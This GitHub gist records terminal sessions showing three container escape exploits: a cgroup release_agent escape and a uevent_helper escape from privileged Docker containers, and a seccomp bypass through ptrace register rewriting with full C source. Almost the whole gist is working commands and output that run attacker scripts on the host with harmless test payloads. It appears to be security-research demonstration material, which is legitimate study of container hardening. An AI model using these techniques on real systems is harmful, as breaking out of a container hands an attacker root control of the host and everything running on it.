Skip to content

Instantly share code, notes, and snippets.

@mrtc0
Last active September 25, 2020 12:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mrtc0/16f169e679674e43dfbb33ae5b0c4d5e to your computer and use it in GitHub Desktop.
Save mrtc0/16f169e679674e43dfbb33ae5b0c4d5e to your computer and use it in GitHub Desktop.

cgroup release_agent escape

ubuntu@docker:~$ docker run --rm -it --privileged ubuntu:latest bash                                                                                                                         
root@0a7f9d72911e:/# mkdir /tmp/cgrp                                                                                                                                                         
root@0a7f9d72911e:/# mount -t cgroup -o rdma cgroup /tmp/cgrp                                                                                                                                
root@0a7f9d72911e:/# mkdir /tmp/cgrp/pwn                                                                                                                                                     
root@0a7f9d72911e:/# ls /tmp/cgrp/pwn                                                                                                                                                        
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks                                                                                                        
root@0a7f9d72911e:/# echo 1 > /tmp/cgrp/pwn/notify_on_release                                                                                                                                
root@0a7f9d72911e:/# mount -l                                                                                                                                                                
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/PKQY7YFZGLKHR33XEAXM6J3XJS:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FW
EI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/13085e1ec3731c8d3d814acf7c7d317a056d75f9d6e36104d9a187c1f639b86f/diff,workdir=/v
ar/lib/docker/overlay2/13085e1ec3731c8d3d814acf7c7d317a056d75f9d6e36104d9a187c1f639b86f/work,xino=off)                                                                                       
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)                                                                                                                                    
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)                                                                                                                                    
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)                                                                                                       
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)                                                                                                                                   
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)                                                                                                                
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)                                                                                            
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)                                                                                                             
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)                                                                                                 
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)                                                                                     
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)                                                                                               
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)                                                                                                       
cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)                                                                                                       
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)                                                                                                         
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)                                                                                                           
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)                                                                                                         
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)                                                                                                       
cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma,release_agent=/var/lib/docker/overlay2/68d6d332f585f321c8fe4f2eabadf00ef1281af00eeef73a123081be0cc51647/diff/
cmd)                                                                                                                                                                                         
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)                                                                                                                          
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)                                                                                                                     
/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime) [cloudimg-rootfs]                                                                                                                      
/dev/vda1 on /etc/hostname type ext4 (rw,relatime) [cloudimg-rootfs]                                                                                                                         
/dev/vda1 on /etc/hosts type ext4 (rw,relatime) [cloudimg-rootfs]                                                                                                                            
devpts on /dev/console type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)                                                                                                   
cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma,release_agent=/var/lib/docker/overlay2/68d6d332f585f321c8fe4f2eabadf00ef1281af00eeef73a123081be0cc51647/diff/cmd)                          
root@0a7f9d72911e:/# echo "/var/lib/docker/overlay2/13085e1ec3731c8d3d814acf7c7d317a056d75f9d6e36104d9a187c1f639b86f/diff/cmd" > /tmp/cgrp/release_agent                                     
root@0a7f9d72911e:/# cat <<EOF > /cmd                                                                                                                                                        
> #!/bin/sh                                                                                                                                                                                  
> ps aux > /var/lib/docker/overlay2/13085e1ec3731c8d3d814acf7c7d317a056d75f9d6e36104d9a187c1f639b86f/diff/output                                                                             
> EOF                                                                                                                                                                                        
root@0a7f9d72911e:/# chmod +x /cmd                                                                                                                                                           
root@0a7f9d72911e:/# sh -c "echo \$\$ > /tmp/cgrp/pwn/cgroup.procs"                                                                                                                          
root@0a7f9d72911e:/# head /output                                                                                                                                                            
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND                                                                                                                   
root           1  0.0  0.3 169540 13832 ?        Ss   Sep23   0:05 /sbin/init                                                                                                                
root           2  0.0  0.0      0     0 ?        S    Sep23   0:00 [kthreadd]                                                                                                                
root           3  0.0  0.0      0     0 ?        I<   Sep23   0:00 [rcu_gp]                                                                                                                  
root           4  0.0  0.0      0     0 ?        I<   Sep23   0:00 [rcu_par_gp]                                                                                                              
root           6  0.0  0.0      0     0 ?        I<   Sep23   0:00 [kworker/0:0H-kblockd]                                                                                                    
root           9  0.0  0.0      0     0 ?        I<   Sep23   0:00 [mm_percpu_wq]                                                                                                            
root          10  0.0  0.0      0     0 ?        S    Sep23   0:00 [ksoftirqd/0]                                                                                                             
root          11  0.0  0.0      0     0 ?        I    Sep23   0:01 [rcu_sched]                                                                                                                                                                 

uevent_helper escape

ref : https://speakerdeck.com/mrtc0/container-structure-and-exploitation-method

ubuntu@docker:~$ ls /tmp                                                                                                                                                                     
snap.lxd                                                                        systemd-private-86a7e3ffc7b94c43ab9a7871897698ff-systemd-resolved.service-pAniIh   tmphnr5z46h               
systemd-private-86a7e3ffc7b94c43ab9a7871897698ff-systemd-logind.service-X3Q0nj  systemd-private-86a7e3ffc7b94c43ab9a7871897698ff-systemd-timesyncd.service-vj8toi  tmpignk1dqu-ascii.cast    
ubuntu@docker:~$ ls /tmp/pwned.txt                                                                                                                                                           
ls: cannot access '/tmp/pwned.txt': No such file or directory                                                                                                                                
ubuntu@docker:~$ docker run --rm -it --privileged ubuntu:latest bash                                                                                                                         

root@ddb77c2ce8c8:/# cat <<EOF >/tmp/pwned.sh                                                                                                                                                
> #!/bin/sh                                                                                                                                                                                  
> echo "pwned!" > /tmp/pwned.txt                                                                                                                                                             
> EOF                                                                                                                                                                                        
root@ddb77c2ce8c8:/# chmod +x /tmp/pwned.sh                                                                                                                                                  
root@ddb77c2ce8c8:/# cat /tmp/pwned.sh                                                                                                                                                       
#!/bin/sh                                                                                                                                                                                    
echo "pwned!" > /tmp/pwned.txt                                                                                                                                                               
root@ddb77c2ce8c8:/# mount -l                                                                                                                                                                
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ARZSF5K4GP5MZGION4Q4AZSPKM:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FW
EI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/40456f5867b69daed4d3b0fba250526bc3dbdaae2ff68d90807b4f950707417a/diff,workdir=/v
ar/lib/docker/overlay2/40456f5867b69daed4d3b0fba250526bc3dbdaae2ff68d90807b4f950707417a/work,xino=off)                                                                                       
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)                                                                                                                                    
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)                                                                                                                                    
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)                                                                                                       
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)                                                                                                                                   
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)                                                                                                                
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)                                                                                            
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)                                                                                                             
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)                                                                                                 
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)                                                                                     
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)                                                                                               
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)                                                                                                       
cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)                                                                                                       
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)                                                                                                         
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)                                                                                                           
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)                                                                                                         
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)                                                                                                       
cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma)                                                                                                             
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)                                                                                                                          
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)                                                                                                                     
/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime) [cloudimg-rootfs]                                                                                                                      
/dev/vda1 on /etc/hostname type ext4 (rw,relatime) [cloudimg-rootfs]                                                                                                                         
/dev/vda1 on /etc/hosts type ext4 (rw,relatime) [cloudimg-rootfs]                                                                                                                            
devpts on /dev/console type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666) 

root@ddb77c2ce8c8:/# echo "/var/lib/docker/overlay2/40456f5867b69daed4d3b0fba250526bc3dbdaae2ff68d90807b4f950707417a/diff/tmp/pwned.sh" > /sys/kernel/uevent_helper                          
root@ddb77c2ce8c8:/# echo change > /sys/class/mem/null/uevent                                                                                                                                
root@ddb77c2ce8c8:/# exit                                                                                                                                                                    
exit                                                                                                                                                                                         
ubuntu@docker:~$ ls -al /tmp/pwned.txt                                                                                                                                                       
-rw-rw-rw- 1 root root 7 Sep 24 12:13 /tmp/pwned.txt                                                                                                                                         
ubuntu@docker:~$ cat /tmp/pwned.txt                                                                                                                                                          
pwned! 

seccomp bypass (Linux Kernel <= 4.8)

ref : https://blog.ssrf.in/post/bypass-seccomp-with-ptrace/

vagrant@ubuntu-xenial:~$ cat seccomp.json                                                                                                                                                    
{                                                                                                                                                                                            
  "defaultAction": "SCMP_ACT_ALLOW",                                                                                                                                                         
  "syscalls": [                                                                                                                                                                              
    {                                                                                                                                                                                        
      "name": "mkdir",                                                                                                                                                                       
      "action": "SCMP_ACT_ERRNO",                                                                                                                                                            
      "args": []                                                                                                                                                                             
    }                                                                                                                                                                                        
  ]                                                                                                                                                                                          
}                                                                                                                                                                                            
vagrant@ubuntu-xenial:~$ CID=$(docker run -d --security-opt seccomp:seccomp.json ubuntu:latest sleep 100) 
vagrant@ubuntu-xenial:~$ cat bypass.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/fcntl.h>
#include <syscall.h>


void die (const char *msg)
{
  perror(msg);
  exit(errno);
}

void attack()
{
  int rc;
  
  // mkdir("dir", 0777);
  syscall(SYS_getpid, SYS_mkdir, "dir", 0777); // 引数部分に SYS_mkdir とその引数を与えておく
}

int main()
{
  int pid;
  struct user_regs_struct regs;
  switch( (pid = fork()) ) {
    case -1:  die("Failed fork");
    case 0:
              // 親プロセスにトレースさせる
              ptrace(PTRACE_TRACEME, 0, NULL, NULL);
              kill(getpid(), SIGSTOP);
              attack();
              return 0;
  }

  waitpid(pid, 0, 0);

  while(1) {
    int st;
    // 子プロセスを再開する
    ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
    if (waitpid(pid, &st, __WALL) == -1) {
      break;
    }

    if (!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP)) {
      break;
    }

    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    printf("orig_rax = %lld\n", regs.orig_rax);

    // syscall-enter-stop であればスキップ
    if (regs.rax != -ENOSYS) {
      continue;
    }

    // レジスタの内容を変更してシステムコールを変更する
    if (regs.orig_rax == SYS_getpid) {
      regs.orig_rax = regs.rdi;
      regs.rdi = regs.rsi;
      regs.rsi = regs.rdx;
      regs.rdx = regs.r10;
      regs.r10 = regs.r8;
      regs.r8 = regs.r9;
      regs.r9 = 0;
      ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    }
  }
  return 0;
}

vagrant@ubuntu-xenial:~$ gcc -o bypass bypass.c                                                                                                                                              
vagrant@ubuntu-xenial:~$ docker cp ./bypass $CID:/tmp/                                                                                                                                       
vagrant@ubuntu-xenial:~$ docker exec -it $CID bash                                                                                                                                           
root@1e1518a5c5e1:/# cd /tmp                                                                                                                                                                 
root@1e1518a5c5e1:/tmp# ls                                                                                                                                                                   
bypass                                                                                                                                                                                       
root@1e1518a5c5e1:/tmp# mkdir dir                                                                                                                                                            
mkdir: cannot create directory 'dir': Operation not permitted                                                                                                                                
root@1e1518a5c5e1:/tmp# ./bypass                                                                                                                                                             
orig_rax = 39                                                                                                                                                                                
orig_rax = 83                                                                                                                                                                                
orig_rax = 231                                                                                                                                                                               
root@1e1518a5c5e1:/tmp# ls                                                                                                                                                                   
bypass  dir                                                                                                                                                                                  
root@1e1518a5c5e1:/tmp# ls -al dir                                                                                                                                                           
total 8                                                                                                                                                                                      
drwxr-xr-x 2 root root 4096 Sep 24 09:17 .                                                                                                                                                   
drwxrwxrwt 1 root root 4096 Sep 24 09:17 ..
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment